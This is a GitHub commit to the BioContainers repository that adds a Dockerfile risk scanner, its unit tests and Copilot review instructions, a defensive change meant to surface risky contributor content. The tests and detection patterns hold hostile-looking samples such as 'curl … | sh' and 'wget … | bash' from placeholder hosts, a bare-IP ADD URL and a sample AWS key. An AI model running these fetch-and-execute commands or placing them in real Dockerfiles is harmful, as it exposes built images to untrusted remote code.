Skip to content

Commit 5ba46fd

Browse files
committed
ci: surface risky Dockerfile content to reviewers + Copilot review + S3 fix
Detection layers so a container PR never merges with unreviewed 'strange' content (e.g. #621's `curl | sh`): - validate.py: scan_dockerfile_risks() lifts the lines a human must sign off on into the PR comment as an advisory reviewer checklist (curl|sh, http://, ADD <url>, paste/shortener/bare-IP hosts, chmod 777, --insecure, odd base image). High-confidence embedded credentials (AWS/GitHub/Slack tokens, private keys) block the PR. Line-continuations are folded so a split `curl \<nl>| sh` cannot evade; download rules are scoped to RUN/ADD/COPY so an http:// homepage in a LABEL is not a false positive. 12 new unit tests. - pr-report.yml: render the checklist + a bioconda-style 'build & test locally' block (and point at the existing test-cmds.txt convention). - Copilot: .github/copilot-instructions.md + instructions/dockerfile.instructions.md so automatic Copilot review hunts the same risks on every container PR. - publish.yml: fix Singularity S3 upload on Ceph/RGW (aws-cli v2.23+ default checksums broke multipart; set *_CHECKSUM to when_required).
1 parent 703ba26 commit 5ba46fd

6 files changed

Lines changed: 353 additions & 0 deletions

File tree

.github/copilot-instructions.md

Lines changed: 41 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,41 @@
1+
# BioContainers — Copilot review & chat instructions
2+
3+
This repository accepts **community pull requests that each add or update exactly one
4+
container**, laid out as `<tool>/<version>/Dockerfile` (an optional
5+
`<tool>/<version>/test-cmds.txt` holds one smoke-test command per line). Contributors
6+
are trusted only as far as review can verify, so when you review a PR here, **treat the
7+
Dockerfile as untrusted input and prioritise security and provenance over style.**
8+
9+
## What to flag on every container PR
10+
11+
Call these out explicitly, cite the **exact line**, and explain the risk in one sentence:
12+
13+
- **Remote code execution at build time**`curl … | sh`, `wget … | bash`, or any
14+
pipe of a downloaded script into an interpreter. Name the domain and ask the author to
15+
justify trusting it; prefer a pinned release download verified with a checksum.
16+
- **Insecure or unverifiable downloads** — plain `http://`, URL shorteners
17+
(`bit.ly`, `t.co`, …), pastebins/gists, bare IP addresses, `ADD <url>` (no checksum),
18+
or `--insecure` / `--no-check-certificate`.
19+
- **Embedded secrets** — any AWS key, GitHub/Slack token, private key, or
20+
`password=`/`api_key=` value. This must block the PR; the credential is already in
21+
git history and must be rotated.
22+
- **Base image** — the `FROM` should be an official `biocontainers/*` (or
23+
`quay.io/biocontainers/*`) image. Anything else warrants an explicit justification.
24+
- **Package provenance** — installs without a pinned version, or package names that look
25+
typosquatted or unrelated to the tool being packaged.
26+
- **Excess privilege / footprint**`chmod 777`, `sudo`, opening ports, writing outside
27+
the build, running as root without returning to `USER biodocker`, or anything that
28+
"phones home".
29+
30+
## Metadata the CI already enforces (reinforce, don't duplicate)
31+
32+
Required LABELs: `software`, `software.version` (must equal the version directory),
33+
`version`, `base_image`, `about.summary` (≥ 20 chars), `about.home`, `about.license`
34+
(an SPDX id). The image tag is `<version>_cv<version-label>`. If any of these look wrong
35+
or implausible, mention it, but the Python validator (`.github/scripts/validate.py`) is
36+
the source of truth for pass/fail — your job is the judgement calls it cannot encode.
37+
38+
## Style
39+
40+
Keep comments specific and actionable. Prefer one precise comment on the risky line over
41+
a general summary. Do not rewrite the whole Dockerfile; suggest the minimal safer form.
Lines changed: 27 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,27 @@
1+
---
2+
applyTo: "**/Dockerfile"
3+
---
4+
5+
# Reviewing a BioContainers Dockerfile
6+
7+
When the diff touches a `Dockerfile`, review it as **untrusted contributor input** and
8+
lead with security. For each concern, cite the exact line and give the safer alternative.
9+
10+
Hard stops (should block the PR):
11+
- Any embedded credential — AWS key (`AKIA…`), GitHub token (`ghp_…`), Slack token,
12+
private key block, or a real-looking `password=` / `secret=` / `api_key=` value.
13+
14+
Always question (comment, don't necessarily block):
15+
- `curl … | sh` / `wget … | bash` — a remote script executed at build time. Which domain?
16+
Is it pinned? Prefer downloading a tagged release and verifying a checksum.
17+
- `http://` downloads, `ADD <url>`, URL shorteners, pastebins/gists, bare-IP hosts,
18+
`--insecure` / `--no-check-certificate`.
19+
- `FROM` that is not `biocontainers/*` or `quay.io/biocontainers/*`.
20+
- Unpinned or typosquatted package installs; `chmod 777`; `sudo`; running as root without
21+
a final `USER biodocker`.
22+
23+
Also confirm the required LABELs are present and coherent: `software`,
24+
`software.version` (= the version directory name), `version`, `base_image`,
25+
`about.summary`, `about.home`, `about.license` (SPDX id).
26+
27+
Prefer one precise comment on the offending line over a broad summary.

.github/scripts/tests/test_validate.py

Lines changed: 126 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -178,3 +178,129 @@ def test_check_tag_defaults_cv1_when_version_blank(tmp_path, monkeypatch):
178178
# version label blank is itself an error, but the tag still falls back to _cv1
179179
assert tag == "2.1.5-7-deb_cv1"
180180
assert ok is False
181+
182+
183+
# ---------------------------------------------------------------- risk scan
184+
185+
def _scan(tmp_path, body):
186+
df = tmp_path / "Dockerfile"
187+
df.write_text(body)
188+
return validate.scan_dockerfile_risks(str(df))
189+
190+
191+
def checklist_msgs(checklist):
192+
return [c["msg"] for c in checklist]
193+
194+
195+
def test_scan_flags_curl_pipe_shell(tmp_path):
196+
# the phynest/#621 case
197+
secrets, checklist = _scan(
198+
tmp_path,
199+
"FROM biocontainers/biocontainers:v1.0.0_cv5\n"
200+
"RUN curl -fsSL https://install.julialang.org | sh -s -- -y\n")
201+
assert secrets == []
202+
assert any("remote script" in c for c in checklist_msgs(checklist))
203+
204+
205+
def test_scan_flags_wget_pipe_bash(tmp_path):
206+
_, checklist = _scan(tmp_path, "FROM biocontainers/x\nRUN wget -qO- http://x | bash\n")
207+
msgs = checklist_msgs(checklist)
208+
assert any("remote script" in m for m in msgs)
209+
assert any("insecure `http://`" in m for m in msgs)
210+
211+
212+
def test_scan_flags_add_url_and_bare_ip(tmp_path):
213+
_, checklist = _scan(tmp_path, "FROM biocontainers/x\nADD https://10.0.0.1/pkg.tar /tmp/\n")
214+
msgs = checklist_msgs(checklist)
215+
assert any("`ADD <url>`" in m for m in msgs)
216+
assert any("bare IP" in m for m in msgs)
217+
218+
219+
def test_scan_flags_non_biocontainers_base(tmp_path):
220+
_, checklist = _scan(tmp_path, "FROM debian:stable-slim\nRUN echo hi\n")
221+
assert any("not an official `biocontainers/*`" in m for m in checklist_msgs(checklist))
222+
223+
224+
def test_scan_accepts_quay_biocontainers_base(tmp_path):
225+
_, checklist = _scan(tmp_path, "FROM quay.io/biocontainers/samtools:1.19\nRUN echo hi\n")
226+
assert not any("not an official" in m for m in checklist_msgs(checklist))
227+
228+
229+
def test_scan_only_first_from_is_policy_checked(tmp_path):
230+
# a builder stage may be anything; only the first FROM is flagged, once
231+
_, checklist = _scan(
232+
tmp_path,
233+
"FROM golang:1.22 AS build\nRUN go build\nFROM alpine\nCOPY --from=build /x /x\n")
234+
base_flags = [m for m in checklist_msgs(checklist) if "not an official" in m]
235+
assert len(base_flags) == 1
236+
237+
238+
def test_scan_ignores_comments(tmp_path):
239+
secrets, checklist = _scan(
240+
tmp_path,
241+
"FROM biocontainers/x\n# RUN curl http://evil | sh (this is a comment)\nRUN echo ok\n")
242+
assert secrets == []
243+
assert checklist == []
244+
245+
246+
def test_scan_blocks_aws_key(tmp_path):
247+
secrets, _ = _scan(
248+
tmp_path, "FROM biocontainers/x\nENV KEY=AKIAIOSFODNN7EXAMPLE\n")
249+
assert any("AWS access key" in s["msg"] for s in secrets)
250+
251+
252+
def test_scan_blocks_private_key(tmp_path):
253+
secrets, _ = _scan(
254+
tmp_path, "FROM biocontainers/x\nRUN echo '-----BEGIN OPENSSH PRIVATE KEY-----'\n")
255+
assert any("private key" in s["msg"] for s in secrets)
256+
257+
258+
def test_scan_credential_heuristic_does_not_echo_value(tmp_path):
259+
# advisory only, and the matched line must NOT be echoed (no snippet leak)
260+
secrets, checklist = _scan(
261+
tmp_path, "FROM biocontainers/x\nENV DB_PASSWORD=hunter2secret\n")
262+
assert secrets == []
263+
cred = [c for c in checklist if "embed a credential" in c["msg"]]
264+
assert cred and cred[0]["snippet"] == ""
265+
266+
267+
def test_scan_http_in_label_is_not_a_download(tmp_path):
268+
# a homepage URL in a LABEL must NOT be flagged as an insecure download
269+
_, checklist = _scan(
270+
tmp_path,
271+
'FROM biocontainers/x\nLABEL about.home="http://example.org"\nRUN echo ok\n')
272+
assert not any("insecure `http://`" in m for m in checklist_msgs(checklist))
273+
274+
275+
def test_scan_catches_split_curl_pipe_shell(tmp_path):
276+
# backslash continuation must not let `curl … | sh` evade the scan
277+
_, checklist = _scan(
278+
tmp_path,
279+
"FROM biocontainers/x\nRUN curl -fsSL https://x.sh \\\n | sh\n")
280+
assert any("remote script" in m for m in checklist_msgs(checklist))
281+
282+
283+
def test_scan_clean_dockerfile_no_findings(tmp_path):
284+
secrets, checklist = _scan(
285+
tmp_path,
286+
"FROM biocontainers/biocontainers:v1.2.0_cv1\n"
287+
"RUN apt-get update && apt-get install -y samtools\n")
288+
assert secrets == []
289+
assert checklist == []
290+
291+
292+
def test_cmd_detect_populates_review_checklist(tmp_path):
293+
(tmp_path / "tool" / "1").mkdir(parents=True)
294+
(tmp_path / "tool" / "1" / "Dockerfile").write_text(
295+
"FROM biocontainers/x\nRUN curl -fsSL https://x.sh | sh\n")
296+
out = tmp_path / "report.json"
297+
(tmp_path / "cf.txt").write_text("tool/1/Dockerfile\n")
298+
import argparse
299+
import json as _json
300+
args = argparse.Namespace(
301+
changed_files=str(tmp_path / "cf.txt"), workdir=str(tmp_path), out=str(out))
302+
rc = validate.cmd_detect(args)
303+
report = _json.loads(out.read_text())
304+
assert rc == 0
305+
assert report["ok"] is True # advisory, does not fail the build
306+
assert any("remote script" in c for c in report["review_checklist"])

.github/scripts/validate.py

Lines changed: 132 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -34,6 +34,61 @@
3434
# subset of this, so rejecting anything else is free.
3535
SAFE_TOKEN_RE = re.compile(r"^[A-Za-z0-9._-]+$")
3636

37+
# --- Dockerfile risk surface -------------------------------------------------
38+
# A submitted Dockerfile is arbitrary contributor input. These patterns lift the
39+
# lines a human reviewer must look at up into the PR comment, so nothing risky is
40+
# ever merged without an explicit sign-off. Two tiers:
41+
# SECRET_RULES — high-confidence embedded credentials. These BLOCK the PR (the
42+
# secret is already in git history and must be rotated). Kept
43+
# deliberately narrow (structured tokens) so a legitimate PR is
44+
# never blocked by a false positive.
45+
# REVIEW_RULES — "please verify this" heuristics. These NEVER block (plenty of
46+
# legitimate containers do `curl | sh`); they populate an advisory
47+
# reviewer checklist. The middle field is show_snippet: whether it
48+
# is safe to echo the matched line back into the public PR comment
49+
# (False for the credential heuristic, so we never leak a value).
50+
SECRET_RULES = (
51+
(re.compile(r"\bAKIA[0-9A-Z]{16}\b"), "an AWS access key ID"),
52+
(re.compile(r"\bASIA[0-9A-Z]{16}\b"), "an AWS temporary access key ID"),
53+
(re.compile(r"-----BEGIN (?:RSA |EC |OPENSSH |DSA |PGP )?PRIVATE KEY-----"), "a private key"),
54+
(re.compile(r"\bghp_[A-Za-z0-9]{36}\b"), "a GitHub personal access token"),
55+
(re.compile(r"\bgho_[A-Za-z0-9]{36}\b"), "a GitHub OAuth token"),
56+
(re.compile(r"\bgithub_pat_[A-Za-z0-9_]{22,}\b"), "a GitHub fine-grained token"),
57+
(re.compile(r"(?i)aws_secret_access_key\s*[=:]\s*[\"']?[A-Za-z0-9/+]{40}\b"), "an AWS secret access key"),
58+
(re.compile(r"\bxox[baprs]-[A-Za-z0-9-]{10,}\b"), "a Slack token"),
59+
)
60+
61+
# Dockerfile instructions that actually fetch or execute content; the download
62+
# heuristics only fire inside these, so an http:// homepage in a LABEL is never
63+
# mistaken for an insecure download. Each REVIEW rule is
64+
# (regex, show_snippet, scope, message); scope=None means "any instruction".
65+
FETCH_INSTR = ("RUN", "ADD", "COPY")
66+
67+
REVIEW_RULES = (
68+
(re.compile(r"(?:curl|wget)\b[^|]*\|\s*(?:sudo\s+)?(?:ba)?sh\b"), True, ("RUN",),
69+
"runs a remote script straight through a shell (`curl … | sh`) — confirm you trust the "
70+
"source; prefer a pinned download + checksum"),
71+
(re.compile(r"(?i)\bADD\s+https?://"), True, ("ADD",),
72+
"uses `ADD <url>` (no checksum, bypasses the layer cache) — prefer `curl`/`wget` with a "
73+
"verified checksum, or `COPY`"),
74+
(re.compile(r"http://[^\s\"']+"), True, FETCH_INSTR,
75+
"downloads over insecure `http://` — use `https://`"),
76+
(re.compile(r"(?i)https?://(?:pastebin\.com|[a-z0-9.-]*gist\.github|bit\.ly|tinyurl\.com|t\.co)/"),
77+
True, FETCH_INSTR,
78+
"fetches from a paste site or URL shortener — confirm what is actually being downloaded"),
79+
(re.compile(r"https?://\d{1,3}(?:\.\d{1,3}){3}"), True, FETCH_INSTR,
80+
"downloads from a bare IP address — confirm this endpoint is trusted"),
81+
(re.compile(r"(?i)chmod\s+(?:-R\s+)?0?777\b"), True, ("RUN",),
82+
"sets world-writable permissions (`chmod 777`) — scope permissions more tightly"),
83+
(re.compile(r"(?i)(?:--insecure|--no-check-certificate)\b"), True, ("RUN",),
84+
"disables TLS certificate verification (`--insecure` / `--no-check-certificate`)"),
85+
(re.compile(r"(?i)(?:password|passwd|secret|token|api[_-]?key)\s*[=:]\s*[\"']?\S{6,}"), False, None,
86+
"may embed a credential/secret — verify that no real secret is committed"),
87+
)
88+
89+
# Approved base-image prefixes; any other FROM is surfaced for a look (advisory only).
90+
APPROVED_BASE_RE = re.compile(r"(?i)^(?:docker\.io/)?(?:quay\.io/)?biocontainers/")
91+
3792

3893
def _safe(value):
3994
return bool(value) and SAFE_TOKEN_RE.match(value) is not None
@@ -239,16 +294,87 @@ def check_labels(container, version, labels, dockerfile):
239294
return ok, (software or container), tag, errors, warnings
240295

241296

297+
def scan_dockerfile_risks(dockerfile_path):
298+
"""Scan a submitted Dockerfile for content a reviewer must see.
299+
300+
Returns (secrets, checklist):
301+
secrets — [{line, msg}] high-confidence embedded credentials (blocking)
302+
checklist — [{line, snippet, msg}] advisory 'please verify' items (never blocking;
303+
snippet is '' when it is not safe to echo the line into a public comment).
304+
Comment/blank lines are ignored; only the first FROM is policy-checked.
305+
"""
306+
secrets, checklist = [], []
307+
if not (dockerfile_path and os.path.exists(dockerfile_path)):
308+
return secrets, checklist
309+
with open(dockerfile_path, errors="replace") as fh:
310+
raw_lines = fh.read().splitlines()
311+
312+
# Fold backslash line-continuations into one logical instruction so a split
313+
# `curl … \` <newline> `| sh` cannot slip past a per-line regex. Each entry is
314+
# (start_line, INSTRUCTION, joined_text).
315+
logical, buf, start, instr = [], None, None, None
316+
for i, raw in enumerate(raw_lines, 1):
317+
if buf is None:
318+
stripped = raw.strip()
319+
if not stripped or stripped.startswith("#"):
320+
continue
321+
m = re.match(r"([A-Za-z]+)", stripped)
322+
instr = m.group(1).upper() if m else ""
323+
start, buf = i, raw
324+
else:
325+
buf += "\n" + raw
326+
if raw.rstrip().endswith("\\"):
327+
continue
328+
logical.append((start, instr, buf))
329+
buf = None
330+
if buf is not None:
331+
logical.append((start, instr, buf))
332+
333+
saw_from = False
334+
for start, instr, text in logical:
335+
snippet = text.splitlines()[0].strip()[:160]
336+
for rx, what in SECRET_RULES:
337+
if rx.search(text):
338+
secrets.append({"line": start, "msg": "line %d appears to contain %s" % (start, what)})
339+
for rx, show, scope, msg in REVIEW_RULES:
340+
if scope is not None and instr not in scope:
341+
continue
342+
if rx.search(text):
343+
checklist.append({"line": start, "snippet": snippet if show else "", "msg": msg})
344+
if instr == "FROM" and not saw_from:
345+
saw_from = True
346+
m = re.search(r"(?i)FROM\s+(\S+)", text)
347+
if m and not APPROVED_BASE_RE.match(m.group(1)):
348+
checklist.append({"line": start, "snippet": snippet,
349+
"msg": "base image `%s` is not an official `biocontainers/*` image "
350+
"— confirm it is an approved base" % m.group(1)[:80]})
351+
return secrets, checklist
352+
353+
354+
def _fmt_checklist(item):
355+
"""Render one advisory checklist item as a single sanitizable string for the report."""
356+
if item.get("snippet"):
357+
return "%s _(line %d: `%s`)_" % (item["msg"], item["line"], item["snippet"])
358+
return "%s _(line %d)_" % (item["msg"], item["line"])
359+
360+
242361
def cmd_detect(args):
243362
with open(args.changed_files) as fh:
244363
changed = fh.read().splitlines()
245364
container, version, errors = detect_container(changed, args.workdir)
365+
checklist = []
366+
if container and version and not errors:
367+
dockerfile = os.path.join(args.workdir, container, version, "Dockerfile")
368+
secrets, checklist = scan_dockerfile_risks(dockerfile)
369+
for s in secrets:
370+
errors.append(s["msg"] + " — remove it and rotate the credential before resubmitting.")
246371
report = {
247372
"container": container,
248373
"version": version,
249374
"ok": not errors,
250375
"errors": errors,
251376
"warnings": [],
377+
"review_checklist": [_fmt_checklist(c) for c in checklist],
252378
"pr_number": os.environ.get("PR_NUMBER") or None,
253379
"head_sha": os.environ.get("HEAD_SHA") or None,
254380
"software": container,
@@ -272,6 +398,11 @@ def cmd_check(args):
272398
labels = json.loads(raw) if raw and raw != "null" else {}
273399
ok, software, tag, errors, warnings = check_labels(
274400
args.container, args.version, labels, args.dockerfile)
401+
secrets, checklist = scan_dockerfile_risks(args.dockerfile)
402+
for s in secrets:
403+
errors.append(s["msg"] + " — remove it and rotate the credential before resubmitting.")
404+
if secrets:
405+
ok = False
275406
report = {
276407
"container": args.container,
277408
"version": args.version,
@@ -280,6 +411,7 @@ def cmd_check(args):
280411
"ok": ok,
281412
"errors": errors,
282413
"warnings": warnings,
414+
"review_checklist": [_fmt_checklist(c) for c in checklist],
283415
"pr_number": os.environ.get("PR_NUMBER") or None,
284416
"head_sha": os.environ.get("HEAD_SHA") or None,
285417
}

0 commit comments

Comments
 (0)